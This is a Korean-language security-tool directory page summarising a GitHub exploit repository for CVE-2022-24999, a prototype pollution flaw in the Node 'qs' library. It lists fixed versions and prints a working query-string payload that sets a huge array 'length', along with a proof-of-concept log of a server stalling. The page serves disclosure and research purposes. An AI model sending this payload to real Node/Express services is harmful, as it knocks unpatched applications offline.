Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-24999 — "qs" 프로토타입 오염 취약점 ( CVE-2022-24999 ) | Kitploit
도구/GitHubGitHub/9pings/cve-2022-24999
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHub9pings/cve-2022-24999

CVE-2022-24999

"qs" 프로토타입 오염 취약점 ( CVE-2022-24999 )

저장소 보기
831년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-24999

이 저장소에는 2021년 12월에 JS 라이브러리 "qs"에서 발견한 취약점의 익스플로잇 샘플이 포함되어 있습니다.

  • 이 취약점은 express v4.17.3 & qs v6.10.3 v6.9.7, v6.8.3, v6.7.3, v6.6.1, v6.5.3, v6.4.1, v6.3.3, and v6.2.4에서 수정되었습니다.

qs 배열 및 문자열 폭탄

취약한 버전의 "qs"는 출력 JS 객체에 "proto" 속성을 생성할 수 있습니다.

"__ proto__" 속성에 배열을 설정함으로써 "array-like" 객체를 생성할 수 있었습니다.

결과 객체는 "Array" 프로토타입을 상속받으므로 기본 배열 함수를 노출합니다.

하지만 여전히 객체이기 때문에 "qs"는 "length" 속성을 설정할 수 있습니다.

예를 들어, 다음 페이로드는 이런 "악성" 배열을 생성합니다 :

root@kitploit:~
categories[_proto__]&categories[_proto__]&categories[length]=100000000

따라서 합리적이지 않은 "length" 값을 설정하면 노드 프로세스가 이를 문자열 값으로 변환하거나 대부분의 기본 배열 함수를 호출하려고 할 때 즉시 중단됩니다.

이로 인해 취약한 버전의 "qs"를 사용하고 기본 Express 구성을 사용하며 강력한 검증 시스템이 없는 모든 Node 애플리케이션이 애플리케이션 DOS 공격에 노출됩니다.

다음은 ./express-qs-string-bomb에 있는 poc의 로그 예시입니다 :

root@kitploit:~
Send payload :  someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params  { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123" 
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s

기타 악용 가능한 동작들

분석 결과 다른 악용 방식도 가능함을 확인할 수 있었습니다.

이 중 일부는 ./qs-vulns 디렉토리에서 설명합니다.

크레딧

BRAUN Nathanael & BRISSAUD Johan
For EY Security, France

도구 다운로드